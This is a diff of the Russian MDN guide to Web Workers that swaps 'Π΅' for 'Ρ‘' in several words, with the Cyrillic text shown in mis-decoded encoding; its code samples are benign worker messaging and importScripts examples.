Π΄Π°Ρ‘Ρ‚ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ ΠΏΠΎ использованию Web Workers.</p>
<h2 id="Web_Workers_API">Web Workers API</h2>
-<p>Worker - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, создаваСмый конструктором (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{domxref("Worker.Worker", "Worker()")}}) ΠΈΒ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΉ ΠΈΠΌΠ΅Π½Π½ΠΎΠΉ JavaScript Ρ„Π°ΠΉΠ» β€” этот Ρ„Π°ΠΉΠ» содСрТит ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Worker'Π°; ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΆΠ΅ Workers Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ глобальном контСкстС, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰Π΅ΠΌΡΡ ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ, - {{domxref("window")}}. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ {{domxref("window")}} для получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ глобального контСкста (вмСсто {{domxref("window.self","self")}}) Π²Π½ΡƒΡ‚Ρ€ΠΈ {{domxref("Worker")}} Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
+<p>Worker - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, создаваСмый конструктором (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{domxref("Worker.Worker", "Worker()")}}) ΠΈΒ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΉ ΠΈΠΌΠ΅Π½Π½ΠΎΠΉ JavaScript Ρ„Π°ΠΉΠ» β€” этот Ρ„Π°ΠΉΠ» содСрТит ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Worker'Π°; ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΆΠ΅ Workers Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ глобальном контСкстС, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰Π΅ΠΌΡΡ ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ, - {{domxref("window")}}. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ {{domxref("window")}} для получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ глобального контСкста (вмСсто {{domxref("window.self","self")}}) Π²Π½ΡƒΡ‚Ρ€ΠΈ {{domxref("Worker")}} Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
<p>ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ Worker'Π° прСдставлСн ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ {{domxref("DedicatedWorkerGlobalScope")}} Π² случаС Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Workers (ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Workers ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΈΠΌ скриптом; совмСстныС Workers ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("SharedWorkerGlobalScope")}}). Π’Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Worker доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ· скрипта-родитСля, Π² Ρ‚ΠΎ врСмя как совмСстныС Workers ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сцСнариСв.</p>
@@ -29,7 +29,7 @@ original_slug: DOM/Using_web_workers
<h2 id="Π’Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅_Workers">Π’Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Workers</h2>
-<p>Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Worker доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΅Π³ΠΎ Π²Ρ‹Π·Π²Π°Π». Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ€Π΅Ρ‡ΡŒ ΠΏΠΎΠΉΠ΄Π΅Ρ‚ ΠΎ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² нашСм <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ скрипт</a>): этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ позволяСт ввСсти Π΄Π²Π° числа для умноТСния. Π­Ρ‚ΠΈ числа ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² Worker, ΠΏΠ΅Ρ€Π΅ΠΌΠ½ΠΎΠΆΠ°ΡŽΡ‚ΡΡ, Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ возвращаСтся Π½Π° страницу ΠΈ отобраТаСтся.</p>
+<p>Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Worker доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΅Π³ΠΎ Π²Ρ‹Π·Π²Π°Π». Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ€Π΅Ρ‡ΡŒ ΠΏΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΎ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² нашСм <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ скрипт</a>): этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ позволяСт ввСсти Π΄Π²Π° числа для умноТСния. Π­Ρ‚ΠΈ числа ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² Worker, ΠΏΠ΅Ρ€Π΅ΠΌΠ½ΠΎΠΆΠ°ΡŽΡ‚ΡΡ, Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ возвращаСтся Π½Π° страницу ΠΈ отобраТаСтся.</p>
<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ достаточно Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»Π΅Π½, Π½ΠΎ для ознакомлСния с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ концСпциями worker-ΠΎΠ² ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π΅Π³ΠΎ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ. Π‘ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ описаны Π΄Π°Π»Π΅Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
@@ -66,7 +66,7 @@ second.onchange = function() {
console.log('Message posted to worker');
}</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π²Π° {{htmlelement("input")}} элСмСнта, прСдставлСнных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ <code>first</code> ΠΈ <code>second</code>; ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ любой ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… измСняСтся,<code> myWorker.postMessage([first.value,second.value])</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΠ±ΠΎΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, прСдставлСнных Π² Π²ΠΈΠ΄Π΅ массива, Π² worker. ΠŸΠΎΡΡ€Π΅Π΄ΡΡ‚Π²ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>message</code> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° практичСски Π»ΡŽΠ±Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² worker.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π²Π° {{htmlelement("input")}} элСмСнта, прСдставлСнных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ <code>first</code> ΠΈ <code>second</code>; ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ любой ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… измСняСтся,<code> myWorker.postMessage([first.value,second.value])</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΠ±ΠΎΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, прСдставлСнных Π² Π²ΠΈΠ΄Π΅ массива, Π² worker. ΠŸΠΎΡΡ€Π΅Π΄ΡΡ‚Π²ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>message</code> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° практичСски Π»ΡŽΠ±Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² worker.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ worker-a ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ сообщСния ΠΈ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° Π½ΠΈΡ… ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ добавлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onmessage</code> ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
@@ -90,7 +90,7 @@ second.onchange = function() {
<p class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ <font face="consolas, Liberation Mono, courier, monospace"><code>onmessage()</code>​ ΠΈ <code>postmessage()</code> Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈΠ· экзСмпляра Worker Π² Π³Π»Π°Π²Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π½ΠΎ Π½Π΅ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ worker-Π°. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠ° worker-Π°, worker выступаСт Π² качСствС глобального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</font></p>
-<p class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ сообщСния ΠΌΠ΅ΠΆΠ΄Ρƒ основным ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ worker-Π°, ΠΎΠ½ΠΎ копируСтся ΠΈΠ»ΠΈ "пСрСдаСтся" (пСрСмСщаСтся), Π½Π΅ дСлится ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ. Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ {{anch("Transferring data to and from workers: further details")}} для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ объяснСния.</p>
+<p class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ сообщСния ΠΌΠ΅ΠΆΠ΄Ρƒ основным ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ worker-Π°, ΠΎΠ½ΠΎ копируСтся ΠΈΠ»ΠΈ "пСрСдаётся" (пСрСмСщаСтся), Π½Π΅ дСлится ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ. Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ {{anch("Transferring data to and from workers: further details")}} для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ объяснСния.</p>
<h3 id="Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅_Ρ€Π°Π±ΠΎΡ‚Ρ‹_worker-Π°">Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ worker-Π°</h3>
@@ -123,7 +123,7 @@ second.onchange = function() {
<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_скриптов_ΠΈ_Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ">Π˜ΠΌΠΏΠΎΡ€Ρ‚ скриптов ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ</h3>
-<p>Worker ΠΏΠΎΡ‚ΠΎΠΊΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ доступ ΠΊ глобальной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, <code>importScripts()</code>, которая позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ скрипты с Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π° Π² ΠΈΡ… ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. Ѐункция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ноль ΠΈ Π±ΠΎΠ»Π΅Π΅ URI ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΊΠ°ΠΊ список ссылок Π½Π° рСсурсы для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°; всС Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²Π΅Ρ€Π½Ρ‹:</p>
+<p>Worker ΠΏΠΎΡ‚ΠΎΠΊΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ доступ ΠΊ глобальной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, <code>importScripts()</code>, которая позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ скрипты с Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π° Π² ΠΈΡ… ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. Ѐункция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ноль ΠΈ Π±ΠΎΠ»Π΅Π΅ URI ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΊΠ°ΠΊ список ссылок Π½Π° рСсурсы для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°; всС Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²Π΅Ρ€Π½Ρ‹:</p>
<pre class="brush: js notranslate">importScripts(); /* imports nothing */
importScripts('foo.js'); /* imports just "foo.js" */
@@ -132,13 +132,13 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */
<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ скрипт ΠΈ исполняСт Π΅Π³ΠΎ. Π›ΡŽΠ±Ρ‹Π΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, создаваСмыС ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ скриптом ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² worker'Π΅. Если скрипт Π½Π΅ ΡƒΠ΄Π°Π»ΠΎΡΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π±Ρ€ΠΎΡˆΠ΅Π½Π° ошибка <code>NETWORK_ERROR</code>, ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ исполнСн. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ ΠΊΠΎΠ΄, исполнСнный Ρ€Π°Π½Π΅Π΅ (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΡ‚Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ {{domxref("window.setTimeout()")}}) останСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π΅Π½. ОбъявлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ΄ΡƒΡ‰ΠΈΠ΅ <strong>послС</strong> Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>importScripts()</code> Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ доступны, Ρ‚.ΠΊ. объявлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ всСгда ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΌ порядкС, Π½ΠΎ ΠΈΡ… исполнСниС Π±ΡƒΠ΄Π΅Ρ‚ Π²Β  Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΈΠΌΠ΅Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ² Π±Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Π² <code>importScripts()</code>. Ѐункция выполняСтся синхронно; <code>importScripts()</code> Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ исполнСниС, ΠΏΠΎΠΊΠ° всС скрипты Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΈ исполнСны.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΌ порядкС, Π½ΠΎ ΠΈΡ… исполнСниС Π±ΡƒΠ΄Π΅Ρ‚ Π²Β  Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΈΠΌΠ΅Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ² Π±Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Π² <code>importScripts()</code>. Ѐункция выполняСтся синхронно; <code>importScripts()</code> Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ исполнСниС, ΠΏΠΎΠΊΠ° всС скрипты Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΈ исполнСны.</div>
<h2 id="РаздСляСмыС_worker-Ρ‹_Shared_workers">РаздСляСмыС worker-Ρ‹ (Shared workers)</h2>
<p>РаздСляСмый worker доступСн нСскольким Ρ€Π°Π·Π½Ρ‹ΠΌ скриптам β€” Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ находятся Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΎΠΊΠ½Π°Ρ…, Ρ„Ρ€Π΅ΠΉΠΌΠ°Ρ… ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ worker-Π°Ρ…. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ обсудим JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² нашСм <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ раздСляСмых worker-ΠΎΠ²</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ раздСляСмый worker</a>): Он ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… worker-ΠΎΠ², Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Π΄Π²ΡƒΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… скриптовых Ρ„Π°ΠΉΠ»ΠΎΠ²: <em>ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄Π²ΡƒΡ… чисСл</em> ΠΈΠ»ΠΈ <em>Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ числа Π² ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ.</em> Оба скрипта ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ worker для Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… вычислСний.</p>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сосрСдоточимся Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ worker-Π°ΠΌΠΈ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ HTML страницы с JavaScript ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ„Π°ΠΉΠ» worker-Π°.</p>
